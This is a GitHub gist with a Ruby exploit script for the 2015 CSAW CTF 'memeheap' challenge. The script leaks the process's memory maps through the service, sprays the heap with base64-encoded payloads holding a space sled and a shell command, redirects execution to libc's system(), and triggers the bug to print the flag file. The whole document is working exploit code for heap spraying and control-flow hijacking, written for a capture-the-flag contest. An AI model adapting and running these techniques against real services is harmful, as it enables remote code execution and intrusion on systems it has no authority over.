Skip to content

Instantly share code, notes, and snippets.

@numinit
Last active September 21, 2015 03:12
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save numinit/8dd07d4f1f6529d4c2bf to your computer and use it in GitHub Desktop.
Save numinit/8dd07d4f1f6529d4c2bf to your computer and use it in GitHub Desktop.
#!/usr/bin/env ruby
# Usage: ruby memeheap.rb <host> <port>
# This script was created for the 2015 CSAW CTF: https://ctf.isis.poly.edu
require 'base64'
require 'socket'
# Offset of system() in libc.
SYSTEM_OFFSET = 0x00046640
# Number of steps we should take to spray the heap.
STEPS = 256
# Reads a line.
# @param socket The socket
# @param verbose Whether to echo the line
def readline socket, verbose=false
ret = socket.readline.strip
if ret =~ /key{/ or ret =~ /flag{/
STDOUT.puts "\e[0;31;49m#{ret}\e[0m"
exit
elsif verbose
STDOUT.puts ret
end
ret
end
# Eats lines until the `quit` phrase signaling that we can enter more text.
# @param socket The socket
# @param verbose Whether to echo the lines
def eat_until_quit socket, verbose
quit = "\e[0;31;49m[q]\e[0muit"
loop do
line = readline socket, verbose
break if line == quit
end
end
# Returns the heap and libc memory ranges.
# Useful for calculating addresses.
# @param socket The socket
# @return {heap: start..end, libc: start..end}
def get_maps socket
socket.puts 'p'
socket.puts Base64.strict_encode64('/proc/self/maps')
heap_range, libc_range = nil, nil
loop do
line = readline socket
case line
when %r{\[heap\]}
heap_range = Range.new *line.split.first.split('-').map {|a| a.to_i(16)}
when %r{libc-2\.19\.so}
libc_range = Range.new *line.split.first.split('-').map {|a| a.to_i(16)} if line =~ %r{r-xp}
end
break if !heap_range.nil? and !libc_range.nil?
end
eat_until_quit socket, false
{heap: heap_range, libc: libc_range}
end
# Prints memory maps.
# @param maps The maps
def print_maps maps
STDOUT.puts "Heap size: #{'%016x' % (maps[:heap].end - maps[:heap].begin)}"
STDOUT.puts "Heap range: #{'%016x' % maps[:heap].begin} => #{'%016x' % maps[:heap].end}"
STDOUT.puts "libc range: #{'%016x' % maps[:libc].begin} => #{'%016x' % maps[:libc].end}"
end
# Generates a payload.
# @param idx The index of the payload, in 0 <= idx < tries.
# @param maps The memory maps
# @return The payload
def generate_payload idx, tries, maps
# The command we should get system() to execute.
command = 'cat /home/ctf/flag'
# Rationale for what we're about to do: system() tends to ignore spaces.
# Therefore, we should pack lots of spaces in there to use it as a sled
# to our command.
sled = ''
# Fill the meme with spaces, and a null-terminated command
sled << (' ' * (12 * 8 - command.length) + command) << "\x00"
# Fill the space after what's copied into this meme with more spaces
sled << (' ' * (rand((1 << 15)..(1 << 17)) - command.length) + command) << "\x00"
# Evenly distribute this payload over the map range
length = maps[:heap].end - maps[:heap].begin
ptr = maps[:heap].begin + (length * (idx.to_f / tries.to_f)).floor
# Calculate the system offset
system = maps[:libc].begin + SYSTEM_OFFSET
# Make the payload:
# [64 bits] [64 bits] [32 bits] [32 bits] [sled]
# ^ ^ ^ ^
# | \- system | \- padding
# \- padding \- rdi (argument)
payload = [0, system, ptr, 0].pack('Q<Q<L<L<') + sled
# Encode it
Base64.strict_encode64(payload).freeze
end
# Sprays 256 doge onto a socket.
# @param socket The socket
def spray_doge socket
STEPS.times do |i|
socket.puts 'o'
eat_until_quit socket, false
STDOUT.puts if i % 32 == 0 and i > 0
STDOUT.print '.'
STDOUT.flush
end
STDOUT.puts
end
# Sprays 256 skeletals onto a socket.
# @param socket The socket
def spray_skeletals maps, socket
STEPS.times do |i|
payload = generate_payload i, STEPS, maps
socket.puts 'm'
socket.puts payload
eat_until_quit socket, false
STDOUT.puts if i % 32 == 0 and i > 0
STDOUT.print '.'
STDOUT.flush
end
STDOUT.puts
end
# Checks out, triggering the vulnerability.
# @param socket The socket
def checkout! socket
socket.puts 'c'
sleep 1
eat_until_quit socket, true
end
# Create a socket.
socket = TCPSocket.new ARGV[0], Integer(ARGV[1])
# Get initial maps
initial_maps = get_maps socket
STDOUT.puts ">>> Initial maps"
print_maps initial_maps
# Spray doge
STDOUT.puts "*** Spraying doge"
spray_doge socket
# Get new maps
doge_maps = get_maps socket
STDOUT.puts ">>> Doge maps"
print_maps doge_maps
# Figure out where we should scan for skeletals.
# There's a bootstrapping problem here: we can't look into the future to see the process maps,
# so guess how much the heap will expand
expansion_ratio = 1.5
estimated_new_size = ((doge_maps[:heap].end - doge_maps[:heap].begin) * expansion_ratio).floor
estimated_end_offset = doge_maps[:heap].begin + estimated_new_size
# Only scan from the end of the old heap to the estimated end of the new heap. We have
# 256 shots to get this right, so give ourselves a decent shot.
skel_maps = {heap: (doge_maps[:heap].end)..estimated_end_offset, libc: doge_maps[:libc]}
STDOUT.puts ">>> Scan maps"
STDOUT.puts "Expansion ratio (estimated): #{'%.4f' % expansion_ratio}"
print_maps skel_maps
# Spray skeletals
STDOUT.puts "*** Spraying skeletals"
spray_skeletals skel_maps, socket
# Get final maps
final_maps = get_maps socket
STDOUT.puts ">>> Final maps"
print_maps final_maps
begin
# Check out, activating the exploit
STDOUT.puts "*** Checking out"
checkout! socket
rescue IOError, EOFError => e
puts "EOF"
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment